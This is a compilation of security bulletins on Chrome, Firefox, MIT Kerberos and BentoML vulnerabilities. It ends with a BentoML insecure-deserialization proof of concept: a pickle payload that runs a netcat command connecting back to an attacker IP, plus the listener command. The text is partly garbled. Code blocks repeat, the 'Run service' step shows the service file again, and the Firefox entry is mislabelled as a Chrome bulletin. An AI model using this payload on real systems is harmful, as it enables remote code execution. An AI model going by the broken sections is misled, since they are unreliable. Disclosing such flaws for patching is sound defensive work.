Creation Date | April 16, 2025 Source Google | Chrome Security Bulletin Classification: Impact: Loss of confidentiality, integrity, availability Exploit: Unknown exploit Solution: Update Affected Systems: Chrome versions prior to 135.0.7049.95 for Linux Chrome versions prior to 135.0.7049.95/.96 for Windows Chrome versions prior to 135.0.7049.95/.96 for Mac Conclusion The vulnerabilities CVE-2025-3619 and CVE-2025-3620 were recently identified in the Google Chrome browser, affecting millions of users worldwide. These security flaws present significant risks and require immediate attention to prevent potential exploitation by malicious actors. CVE-2025-3619: Buffer Overflow in Codecs The vulnerability CVE-2025-3619 is classified as critical and involves a buffer overflow in Chrome’s codecs. A buffer overflow occurs when data is written outside the allocated memory boundaries, which could allow an attacker to execute arbitrary code. This flaw could lead to a full system compromise if successfully exploited. CVE-2025-3620: Use-After-Free in USB The vulnerability CVE-2025-3620 is a “use-after-free” flaw in Chrome’s USB functionality. This type of vulnerability occurs when the program attempts to use memory after it has been freed, creating an opportunity for malicious exploitation. This flaw could also allow arbitrary code execution, although it is classified as less severe than CVE-2025-3619. References: CVE-2025-3620 CVSS score 8.10 CVE-2025-3619 CVSS score 9.80 Google Security Advisory : https://chromereleases.googleblog.com/2025/04/stable-channel-update-for-desktop_15.html Solution: Ensure that Google Chrome is updated to version 135.0.7049.95/.96 for Windows and macOS, and 135.0.7049.95 for Linux. This update addresses the identified security vulnerabilities.

Creation Date April 15, 2025 Source Google Chrome Security Bulletin Classification: Impact: Loss of confidentiality, integrity, availability Exploit: Unknown exploit Solution: Update Affected Systems: Firefox versions Prior to 137.0.2 Conclusion: The vulnerability CVE-2025-3608 involves race condition in Firefox’s nsHttpTransaction. A race condition occurs when two processes or threads concurrently access a shared resource, leading to unpredictable behavior. In this case, the race conditions could result in memory corruption, potentially allowing attackers to execute arbitrary code. Impact:  This vulnerability is classified as high severity. The resulting memory corruption could enable an attacker to compromise the affected system. References: CVE-2025-3608 CVSS score: 8.10 Mozilla Security Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2025-25/ Solution: Update to Morilla Firefox 137.0.2 https://www.mozilla.org/en-US/firefox/137.0.2/releasenotes/

Title: MIT Kerberos Creation Date: March 24, 2025 Source: Red Hat Security Bulletin Classification: Impact: Loss of integrity Exploit: Unknown Solution: Unknown Affected Systems: Red Hat Ansible Automation Platform version 2 Red Hat Enterprise Linux version 9 Red Hat Enterprise Linux version 7 Red Hat Enterprise Linux version 6 Red Hat Enterprise Linux version 8 Red Hat OpenShift version 4 MIT Kerberos version – MIT Kerberos5 version – Risks: Message Forgery Loss of Integrity Exploitation of Encryption Preferences Conclusion: CVE-2025-3576 is a recently published vulnerability affecting the MIT Kerberos implementation. This vulnerability allows the spoofing of messages protected by GSSAPI using RC4-HMAC-MD5 due to weaknesses in the MD5 checksum design. If RC4 is preferred over stronger encryption types, an attacker could exploit MD5 collisions to forge message integrity codes, potentially leading to unauthorized message tampering. References: CVE-2025-3576 CVSS Vector: CVSS:3.1/AV: N/AC:H/PR: N/UI: N/S: U/C: N/I:H/A: N Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: None Integrity: High Availability: None Red Hat Bugzilla Advisory https://bugzilla.redhat.com/show_bug.cgi?id=2359465https://bugzilla.redhat.com/show_bug.cgi?id=2359673https://bugzilla.redhat.com/show_bug.cgi?id=2359672

Vulnerability Identification CVE Reference: CVE-2025-27520 CVSS Score: 9.8 (Critical) Impact: Remote Code Execution (RCE) compromising integrity, confidentiality, and availability Affected Library: BentoML, a Python library for deploying optimized online serving systems for AI applications and model inference Technical Details Root Cause: Insecure deserialization in BentoML Vulnerable Code File: serde.py, where HTTP request payloads can be manipulated Vulnerable Code Snippet: Pyton def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) # Unsafe deserialization def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) # Unsafe deserialization Data flow analysis confirms payload content comes from HTTP requests that attackers can fully manipulate. The lack of proper validation allows malicious serialized data to execute harmful actions during deserialization. Affected Versions Vulnerable Versions: 1.3.4 through 1.4.2 Risks Complete system compromise: Attackers can gain full control Data theft: Sensitive data exfiltration Denial of Service (DoS): Systems can be rendered unusable Malware installation: Malicious software can be deployed Recommendations Urgent Update: Immediately upgrade to BentoML version 1.4.3 Proof of Concept (PoC) Test Environment Target Server: IP: 10.98.36.123 OS: Ubuntu Attacker Machine: IP: 10.98.36.121 OS: Ubuntu Reproduction Steps Install BentoML on server: Batch pip install -U bentoml pip install -U bentoml 2. Deploy vulnerable service: Pyton # service.py import bentoml @bentoml.service(resources={"cpu": "4"}) class Summarization: def __init__(self): import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] # service.py import bentoml @bentoml.service(resources={"cpu": "4"}) class Summarization: def __init__(self): import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] 3. Run service: Batch # service.py import bentoml @bentoml.service(resources={"cpu": "4"}) class Summarization: def __init__(self): import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] # service.py import bentoml @bentoml.service(resources={"cpu": "4"}) class Summarization: def __init__(self): import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] 4. Attacker listens for connection: Batch nc -lvvp 1234 nc -lvvp 1234 5. Attacker sends malicious payload: Pyton import pickle, os, requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return (os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) import pickle, os, requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return (os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) 6. Result:  The server (10.98.36.123) initiates a connection to the attacker (10.98.36.121) on port 1234, confirming successful RCE.